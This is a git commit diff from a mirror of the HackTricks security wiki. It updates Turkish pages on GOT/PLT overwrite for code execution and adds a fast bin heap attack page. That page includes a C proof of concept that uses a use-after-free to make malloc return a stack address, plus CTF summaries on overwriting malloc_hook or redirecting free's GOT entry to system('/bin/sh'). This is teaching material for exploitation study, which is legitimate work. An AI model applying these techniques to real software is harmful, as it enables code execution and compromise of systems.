mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-29 08:01:00 +00:00
Translated ['binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.
This commit is contained in:
parent
e0cc603a2d
commit
d0602f7d36
3 changed files with 196 additions and 27 deletions
|
@ -731,6 +731,7 @@
|
|||
* [Use After Free](binary-exploitation/heap/use-after-free/README.md)
|
||||
* [First Fit](binary-exploitation/heap/use-after-free/first-fit.md)
|
||||
* [Double Free](binary-exploitation/heap/double-free.md)
|
||||
* [Heap Overflow](binary-exploitation/heap/heap-overflow.md)
|
||||
* [Unlink Attack](binary-exploitation/heap/unlink-attack.md)
|
||||
* [Fast Bin Attack](binary-exploitation/heap/fast-bin-attack.md)
|
||||
* [Unsorted Bin Attack](binary-exploitation/heap/unsorted-bin-attack.md)
|
||||
|
@ -743,7 +744,6 @@
|
|||
* [House of Orange](binary-exploitation/heap/house-of-orange.md)
|
||||
* [House of Rabbit](binary-exploitation/heap/house-of-rabbit.md)
|
||||
* [House of Roman](binary-exploitation/heap/house-of-roman.md)
|
||||
* [Heap Overflow](binary-exploitation/heap/heap-overflow.md)
|
||||
* [Common Binary Exploitation Protections & Bypasses](binary-exploitation/common-binary-protections-and-bypasses/README.md)
|
||||
* [ASLR](binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md)
|
||||
* [Ret2plt](binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md)
|
||||
|
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin!</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
|
||||
- **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [ABONELİK PLANLARI](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
- [Resmi PEASS & HackTricks ürünlerini](https://peass.creator-spring.com) edinin
|
||||
- [The PEASS Family](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [NFT'lerimizi](https://opensea.io/collection/the-peass-family) görün
|
||||
- **Discord grubumuza** 💬 [katılın](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'ı takip edin.
|
||||
- **Hacking püf noktalarınızı paylaşarak** [HackTricks](https://github.com/carlospolop/hacktricks) ve [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,15 +18,15 @@ HackTricks'ı desteklemenin diğer yolları:
|
|||
|
||||
### **GOT: Global Offset Table**
|
||||
|
||||
**Global Offset Table (GOT)**, dinamik olarak bağlanmış ikili dosyalarda **harici fonksiyonların adreslerini yönetmek için kullanılan bir mekanizmadır**. Bu **adresler çalışma zamanında bilinmediği için** (dinamik bağlantı nedeniyle), GOT, bu harici sembollerin adreslerini **çözüldükten sonra dinamik olarak güncellemek için bir yol sağlar**.
|
||||
**Global Offset Table (GOT)**, dinamik olarak bağlanmış ikili dosyalarda **harici fonksiyonların adreslerini yönetmek için kullanılan bir mekanizmadır**. Bu adresler **çalışma zamanında bilinmediğinden** (dinamik bağlantı nedeniyle), GOT, bu harici sembollerin adreslerinin **çözüldükten sonra bu adresleri dinamik olarak güncellemek için bir yol sağlar**.
|
||||
|
||||
GOT'taki her giriş, ikili dosyanın çağırabileceği harici kütüphanelerdeki bir sembole karşılık gelir. Bir **fonksiyon ilk kez çağrıldığında, dinamik bağlayıcı tarafından gerçek adresi çözülür ve GOT'ta depolanır**. Aynı fonksiyona yapılan sonraki çağrılar, GOT'ta depolanan adresi kullanır, böylece adresi tekrar çözme işleminden kaçınılır.
|
||||
|
||||
### **PLT: Procedure Linkage Table**
|
||||
|
||||
**Procedure Linkage Table (PLT)**, GOT ile yakından çalışır ve harici fonksiyonlara yapılan çağrıları işlemek için bir trambolin olarak hizmet eder. Bir ikili **harici bir fonksiyonu ilk kez çağırdığında, kontrol o fonksiyonla ilişkili PLT girişine geçer**. Bu PLT girişi, fonksiyonun adresini çözmek için dinamik bağlayıcıyı çağırmaktan sorumludur eğer daha önce çözülmediyse. Adres çözüldükten sonra, GOT'ta depolanır.
|
||||
**Procedure Linkage Table (PLT)**, GOT ile yakından çalışır ve harici fonksiyonlara yapılan çağrıları işlemek için bir trambolin olarak hizmet eder. Bir ikili **harici bir fonksiyonu ilk kez çağırdığında, kontrol bu fonksiyonla ilişkili PLT girişine geçer**. Bu PLT girişi, fonksiyonun adresini çözmek için dinamik bağlayıcıyı çağırmaktan sorumludur eğer daha önce çözülmediyse. Adres çözüldükten sonra, **GOT'ta** depolanır.
|
||||
|
||||
**Bu nedenle,** harici bir fonksiyonun veya değişkenin adresi çözüldüğünde GOT girişleri doğrudan kullanılır. **PLT girişleri, bu adreslerin başlangıçta çözülmesini kolaylaştırmak için** dinamik bağlayıcı aracılığıyla kullanılır.
|
||||
**Bu nedenle,** harici bir fonksiyonun veya değişkenin adresi çözüldüğünde GOT girişleri doğrudan kullanılır. **PLT girişleri, bu adreslerin başlangıçta çözülmesini** dinamik bağlayıcı aracılığıyla kolaylaştırmak için kullanılır.
|
||||
|
||||
## Yürütme Al
|
||||
|
||||
|
@ -36,21 +36,21 @@ GOT'taki her giriş, ikili dosyanın çağırabileceği harici kütüphanelerdek
|
|||
|
||||
![](<../../.gitbook/assets/image (121).png>)
|
||||
|
||||
**GEF** içinde **yürütülebilir** dosyayı **yükledikten** sonra GOT'ta **bulunan fonksiyonları görebilirsiniz**: `gef➤ x/20x 0xDIR_GOT`
|
||||
**GEF** içinde **yürütülebilir** dosyayı **yükledikten** sonra **GOT'ta** olan **fonksiyonları görebilirsiniz**: `gef➤ x/20x 0xDIR_GOT`
|
||||
|
||||
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
||||
|
||||
GEF kullanarak **hata ayıklama** oturumu başlatabilir ve GOT tablosunu görmek için **`got`** komutunu çalıştırabilirsiniz:
|
||||
GEF kullanarak **hata ayıklama** oturumu başlatabilir ve **`got`** komutunu çalıştırarak got tablosunu görebilirsiniz:
|
||||
|
||||
![](<../../.gitbook/assets/image (496).png>)
|
||||
|
||||
### GOT2Exec
|
||||
|
||||
Bir ikili dosyada GOT, **fonksiyonların adreslerine veya** **fonksiyon adresini yükleyecek PLT** bölümüne sahiptir. Bu keyfi yazmanın amacı, daha sonra **yürütülecek bir fonksiyonun GOT girişini** değiştirmektir **örneğin** **`system`** **fonksiyonunun PLT adresiyle**.
|
||||
Bir ikili dosyada GOT, **fonksiyonların adreslerine veya** **fonksiyon adresini yükleyecek olan PLT** bölümüne sahiptir. Bu keyfi yazmanın amacı, daha sonra **yürütülecek bir fonksiyonun GOT girişini** **örneğin `system`** **fonksiyonunun PLT adresiyle değiştirmektir**.
|
||||
|
||||
İdeal olarak, **kontrolünü sağladığınız parametrelerle çağrılacak bir fonksiyonun GOT'unu** **üzerine yazacaksınız** (böylece sistem fonksiyonuna gönderilen parametreleri kontrol edebileceksiniz).
|
||||
İdeal olarak, **kontrolünüzdeki parametrelerle çağrılacak bir fonksiyonun GOT'unu** **değiştireceksiniz** (böylece sistem fonksiyonuna gönderilen parametreleri kontrol edebileceksiniz).
|
||||
|
||||
Eğer **`system`** **betiğin içinde kullanılmıyorsa**, sistem fonksiyonunun **PLT'de bir girişi olmayacak**. Bu senaryoda, önce `system` fonksiyonunun adresini sızdırmanız ve ardından GOT'u bu adrese işaret etmek için üzerine yazmanız gerekecektir.
|
||||
Eğer **`system`** **betiğin içinde kullanılmıyorsa**, sistem fonksiyonunun **PLT'de bir girişi olmayacak**. Bu senaryoda, önce `system` fonksiyonunun adresini sızdırmanız ve ardından GOT'u bu adrese yönlendirmeniz gerekecektir.
|
||||
|
||||
PLT adreslerini **`objdump -j .plt -d ./vuln_binary`** ile görebilirsiniz.
|
||||
|
||||
|
@ -58,24 +58,34 @@ PLT adreslerini **`objdump -j .plt -d ./vuln_binary`** ile görebilirsiniz.
|
|||
|
||||
**Libc GOT'u**, adresini belirlemek mümkünse ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)) hedef almak için güzel bir hedef olacak şekilde genellikle **kısmi RELRO** ile derlenir.
|
||||
|
||||
Libc'in yaygın fonksiyonları, kod yürütme elde etmek için üzerine yazılabilecek **diğer dahili fonksiyonları çağıracaktır**.
|
||||
Libc'in yaygın fonksiyonları, **diğer dahili fonksiyonları çağıracaklar** ve bu fonksiyonların GOT'u üzerine yazarak kod yürütme elde edilebilir.
|
||||
|
||||
Bu tekniğe ilişkin [**daha fazla bilgiyi burada bulabilirsiniz**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
|
||||
Bu teknik hakkında [**daha fazla bilgiyi burada bulabilirsiniz**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
|
||||
|
||||
## **Tek Gadget**
|
||||
## **Free2system**
|
||||
|
||||
Heap istismarı CTF'lerinde genellikle parçaların içeriğini kontrol edebilmek ve GOT tablosunu hatta bazen üzerine yazabilmek mümkündür. Bir gadget mevcut değilse RCE elde etmenin basit bir yolu, `free` GOT adresini `system`'e yönlendirmek ve bir parçaya `"/bin/sh"` yazmak olacaktır. Bu şekilde bu parça serbest bırakıldığında, `system("/bin/sh")` çalıştırılacaktır.
|
||||
|
||||
## **One Gadget**
|
||||
|
||||
{% content-ref url="../rop-return-oriented-programing/ret2lib/one-gadget.md" %}
|
||||
[one-gadget.md](../rop-return-oriented-programing/ret2lib/one-gadget.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Korunmalar**
|
||||
## **Heap'ten GOT'un Kötüye Kullanımı**
|
||||
|
||||
**Tam RELRO** koruması, ikili başlatıldığında tüm fonksiyonların adreslerini çözerek ve **GOT tablosunu salt okunur hale getirerek** bu tür tekniklere karşı koruma sağlamayı amaçlar:
|
||||
Bir heap zafiyetinden RCE elde etmenin yaygın bir yolu, bir fastbin'i kötüye kullanarak GOT tablosunun bir kısmını fast bin içine eklemek, böylece o parça tahsis edildiğinde genellikle `free`'nin işaretçisini üzerine yazmak mümkün olacaktır.\
|
||||
Ardından, `free`'yi `system`'e yönlendirerek ve `/bin/sh\x00` yazılmış bir parçayı serbest bırakarak bir kabuk çalıştırmak mümkün olacaktır.
|
||||
|
||||
Bir [**örneği burada bulabilirsiniz**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk\_extend\_overlapping/#hitcon-trainging-lab13).
|
||||
|
||||
## **Koruma**
|
||||
|
||||
**Tam RELRO** koruması, ikili başlatıldığında tüm fonksiyonların adreslerini çözerek ve ardından **GOT tablosunu salt okunur hale getirerek** bu tür tekniklere karşı koruma sağlamayı amaçlar:
|
||||
|
||||
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
|
||||
[relro.md](../common-binary-protections-and-bypasses/relro.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Referanslar
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
|
||||
|
@ -83,14 +93,14 @@ Bu tekniğe ilişkin [**daha fazla bilgiyi burada bulabilirsiniz**](https://gith
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
|
||||
</details>
|
||||
|
|
159
binary-exploitation/heap/fast-bin-attack.md
Normal file
159
binary-exploitation/heap/fast-bin-attack.md
Normal file
|
@ -0,0 +1,159 @@
|
|||
# Hızlı Bin Saldırısı
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
|
||||
</details>
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
Hızlı bin tek bağlantılı olduğundan diğer depolardan çok daha az korumaya sahiptir ve sadece **bir serbest bırakılan hızlı bin parçasındaki bir adresi değiştirmek**, daha sonra **herhangi bir bellek adresinde bir parça ayırmak için yeterlidir**.
|
||||
|
||||
Özetle:
|
||||
```c
|
||||
ptr0 = malloc(0x20);
|
||||
ptr1 = malloc(0x20);
|
||||
|
||||
// Put them in fast bin (suppose tcache is full)
|
||||
free(ptr0)
|
||||
free(ptr1)
|
||||
|
||||
// Use-after-free
|
||||
// Modify the address where the free chunk of ptr1 is pointing
|
||||
*ptr1 = (unsigned long)((char *)&<address>);
|
||||
|
||||
ptr2 = malloc(0x20); // This will get ptr1
|
||||
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Çok iyi açıklanmış bir kod içeren tam bir örnek bulabilirsiniz: [https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html):
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
puts("Today we will be discussing a fastbin attack.");
|
||||
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
|
||||
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
|
||||
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
|
||||
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
|
||||
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
|
||||
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
|
||||
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
|
||||
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
|
||||
|
||||
puts("Let's start, we will allocate three chunks of size 0x30\n");
|
||||
unsigned long *ptr0, *ptr1, *ptr2;
|
||||
|
||||
ptr0 = malloc(0x30);
|
||||
ptr1 = malloc(0x30);
|
||||
ptr2 = malloc(0x30);
|
||||
|
||||
printf("Chunk 0: %p\n", ptr0);
|
||||
printf("Chunk 1: %p\n", ptr1);
|
||||
printf("Chunk 2: %p\n\n", ptr2);
|
||||
|
||||
|
||||
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
|
||||
|
||||
int stackVar = 0x55;
|
||||
|
||||
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
|
||||
|
||||
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
|
||||
|
||||
char *data0 = "00000000";
|
||||
char *data1 = "11111111";
|
||||
char *data2 = "22222222";
|
||||
|
||||
memcpy(ptr0, data0, 0x8);
|
||||
memcpy(ptr1, data1, 0x8);
|
||||
memcpy(ptr2, data2, 0x8);
|
||||
|
||||
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
|
||||
|
||||
printf("Chunk 0: %s\n", (char *)ptr0);
|
||||
printf("Chunk 1: %s\n", (char *)ptr1);
|
||||
printf("Chunk 2: %s\n\n", (char *)ptr2);
|
||||
|
||||
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
|
||||
|
||||
free(ptr0);
|
||||
free(ptr1);
|
||||
free(ptr2);
|
||||
|
||||
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
|
||||
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
|
||||
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
|
||||
|
||||
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
|
||||
|
||||
|
||||
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
|
||||
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
|
||||
|
||||
*ptr1 = (unsigned long)((char *)&stackVar);
|
||||
|
||||
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
|
||||
|
||||
|
||||
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
|
||||
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
|
||||
|
||||
unsigned long *ptr3, *ptr4, *ptr5;
|
||||
|
||||
ptr3 = malloc(0x30);
|
||||
ptr4 = malloc(0x30);
|
||||
ptr5 = malloc(0x30);
|
||||
|
||||
printf("Chunk 3: %p\n", ptr3);
|
||||
printf("Chunk 4: %p\n", ptr4);
|
||||
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
|
||||
|
||||
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
|
||||
}
|
||||
|
||||
```
|
||||
## Örnekler
|
||||
|
||||
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html)**:**
|
||||
* Parçalar tahsis edilebilir, sonra bunlar serbest bırakılabilir, içerikleri okunabilir ve doldurulabilir (bir taşma güvenlik açığı ile).
|
||||
* **Bilgi sızıntısı için parça birleştirme**: Teknik temelde taşmayı kötüye kullanarak sahte bir prev\_size oluşturmak ve bir önceki parçaların daha büyük bir parçanın içine konulmasını sağlamaktır, böylece başka bir parçayı içeren daha büyük bir parça tahsis edildiğinde, verilerini yazdırmak ve libc adresini sızdırmak mümkün olur (main\_arena+88).
|
||||
* **Malloc hook üzerine yazma**: Bunun için ve önceki örtüşme durumunu kötüye kullanarak, aynı belleğe işaret eden 2 parçaya sahip olmak mümkündü. Dolayısıyla, bunları ikisini de serbest bırakarak (korumaları önlemek için araya başka bir parça serbest bırakılarak) aynı parçayı hızlı binde 2 kez elde etmek mümkündü. Sonra, tekrar tahsis edilebilir, bir sonraki parçanın adresini malloc\_hook'un biraz öncesine işaret edecek şekilde üzerine yazabilir (böylece malloc'un bir serbest boyut olduğunu düşündüğü bir tamsayıya işaret eder - başka bir atlatma), tekrar tahsis edebilir ve ardından malloc hook adreslerini alacak başka bir parça tahsis edebilir.\
|
||||
Sonunda bir **tek araç** oraya yazıldı.
|
||||
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html)**:**
|
||||
* Bir heap taşması ve kullanıcı sonrası serbest bırakma ve çift serbest bırakma var çünkü bir parça serbest bırakıldığında işaretçileri tekrar kullanıp serbest bırakmak mümkündür.
|
||||
* **Libc bilgi sızıntısı**: Bazı parçaları serbest bırakın ve bunlar ana arena konumunun bir kısmına bir işaretçi alacak şekilde olacaktır. Serbest bırakılan işaretçileri tekrar kullanabileceğiniz için bu adresi okuyun.
|
||||
* **Hızlı bin saldırısı**: Tahsis edilen tüm parçaların işaretçileri bir dizi içinde depolanır, bu nedenle birkaç hızlı bin parçasını serbest bırakabilir ve en sonuncusunda adresi bu işaretçi dizisinin biraz öncesine işaret edecek şekilde üzerine yazabiliriz. Sonra, aynı boyutta birkaç parça tahsis ederiz ve önce gerçek parçayı ve ardından işaretçi dizisini içeren sahte parçayı alırız. Şimdi bu tahsis işaretçilerini `free`'nin got adresine işaret etmesi için system'a işaret etmek üzere üzerine yazabiliriz ve ardından parça 1 `"/bin/sh"` yazabiliriz ve sonra `chunk1`'i serbest bırakabiliriz ki bu da `system("/bin/sh")`'yi çalıştıracaktır.
|
||||
|
||||
Hızlı Bin saldırısının bir örneklerini, bir sıralanmamış bin saldırısı aracılığıyla kötüye kullanıldığı örneklerde bulabilirsiniz:
|
||||
|
||||
{% content-ref url="unsorted-bin-attack.md" %}
|
||||
[unsorted-bin-attack.md](unsorted-bin-attack.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olmak için AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'ı takip edin.
|
||||
* **Hacking hilelerinizi paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katılın.
|
||||
|
||||
</details>
|
Loading…
Reference in a new issue